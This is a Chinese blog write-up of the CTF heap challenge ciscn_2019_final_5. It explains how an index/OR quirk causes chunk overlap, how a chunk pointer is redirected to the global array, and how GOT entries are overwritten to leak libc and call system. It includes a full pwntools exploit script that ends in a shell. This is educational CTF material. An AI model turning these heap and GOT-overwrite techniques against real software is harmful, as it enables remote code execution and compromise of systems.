[buuoj]ciscn_2019_final_51

该文章详细描述了一个利用64位程序中PartialRelro堆溢出的漏洞进行攻击的过程。首先通过特定的add操作造成堆块重叠,然后通过free和edit的非标准行为修改堆块的size和指针。接着,利用堆块重叠和got表的覆写,泄露puts地址并计算libc基址,最终通过编辑堆块内容触发system调用,实现远程代码执行。
摘要由CSDN通过智能技术生成

exp参考了这位大师傅

题目分析

 64位堆题,Partial Relro

程序功能:

1.add

2.free

3.edit

add函数:

有一个低三位地址(16进制)的泄露,每个堆块的内容和size地址都由一个数组(我在这叫内容数组和size数组)存放。此处的or函数会对content的地址和size进行或运算并存入内容数组里。可以发现这里内容数组存放指针的顺序是按照add的顺序来的。而经过调试,第一个申请的堆的地址往往是0x260,即001001100000和00010000或一下就会变成0x270,这就造成了堆重叠。

 free:

这个free很有意思,和平常的free不同,他不是根据你输入的index去对应的找到相同index的堆,而是找最后一位和index相同的进行free操作。

 

 edit:逻辑和free是一样的,edit的size是根据保存在size数组里的值来确定的。

 题目思路:

  1.先add一个index为0x10的堆块并在内容中布置好堆块的内容就可以实现堆块的重叠。(这里限制index为0x10及以下,所以就0x10有这个性质)

add(0x10,0x10,p64(0)+p64(0x30))
gdb.attach(p)

可以看到内容是被写入到0x24b4260中的,但是内容数组中存放的却是0x24b4270

 

 

 2.接下来我们再创建一个堆并把两个堆都free掉,这时如果我们申请一个0x20的堆就可以将堆块1的size段和fd段进行修改。

add(1,0xc0,b'aaa')

dele(0)
dele(1)
add(2,0x20,p64(0)+p64(0x21)+p64(0x6020e0))

可以看到堆块1指向了0x6020e0

 3.此时我们连续申请两个0xc0大小的堆块(3,4)此时四就会被申请到0x6020e0,这样我们写入的内容就会被存入0x6020e0(内容数组)中,同时因为能写0xe0我们能覆盖size数组(这里0x10应该不是固定的只要能实现got表的覆写就好)。

add(3,0xc0,'dddd')
add(4,0xc0,p64(free_got)+p64(puts_got)+p64(atoi-4)+p64(0)*17+p32(0x10)*8)

可以看到内容数组里以及覆盖为对应的地址了(这里0x6020f0后面不知道为什么没有覆盖成0,不是很懂),这里还有一个有意思的点就是atoi要调整一下偏移,因为前面说过free和edit是以地址最后一位来的,所以这里不减去4就会造成重复,当然减去其他数和加上其他数应该也可以,可以调试着试试。

4.接下来我们将free_got覆盖成put实现地址泄露功能,将puts_got泄露出来算出libc偏移,并在atoi中写入system。edit(8)就是对free_got进行覆写,然后dele(0)就会puts(puts_got)最后就是简单的getshell了。

edit(8,p64(puts_plt)*2)
dele(0)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
print(hex(puts))
print(hex(system))
edit(4,p64(system)*2)
p.sendline(b'/bin/sh\x00')

 完整exp:

from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./1')
libc=ELF('./libc.so.6')


mode =0
if mode == 0:
    p = process("./1")
else:
    p = remote("node4.buuoj.cn", 29502)
    #p = remote("47.98.99.193", 6666)






def add(idx,size,content):
	p.sendlineafter('your choice: ','1')
	p.sendlineafter('index: ',str(idx))
	p.sendlineafter('size: ',str(size))
	p.sendafter('content:',content)
	
	
	
def dele(id1):
	p.sendlineafter('your choice: ','2')
	p.sendlineafter('index:',str(id1))	


	
def show():
	p.sendlineafter('Your choice : ','2')
	#p.sendlineafter('Give me your index :',str(id1))	
	
def edit(id1,name):
	p.sendlineafter('your choice: ','3')
	p.sendlineafter('index:',str(id1))	
	p.sendafter('content:',name)


free_got=elf.got['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
atoi=elf.got['atoi']


add(0x10,0x10,p64(0)+p64(0x30))

add(1,0xc0,b'aaa')

dele(0)
dele(1)


add(2,0x20,p64(0)+p64(0x21)+p64(0x6020e0))

add(3,0xc0,'dddd')
add(4,0xc0,p64(free_got)+p64(puts_got)+p64(atoi-4)+p64(0)*17+p32(0x30)*8)
gdb.attach(p)
edit(8,p64(puts_plt)*2)
dele(0)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
print(hex(puts))
print(hex(system))
edit(4,p64(system)*2)
p.sendline(b'/bin/sh\x00')

#gdb.attach(p)



p.interactive()

小结:本来以为对解堆题开始有点熟悉了,但是遇到一点点变种还是会有点不知所措,说白了还是对各种漏洞用法还是不够熟练,这题的依据地址最后一位索引的机制还是很有意思的,漏洞点也不是那么直白,收获很多!如果有什么地方说的不对也希望大佬们能够指正。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值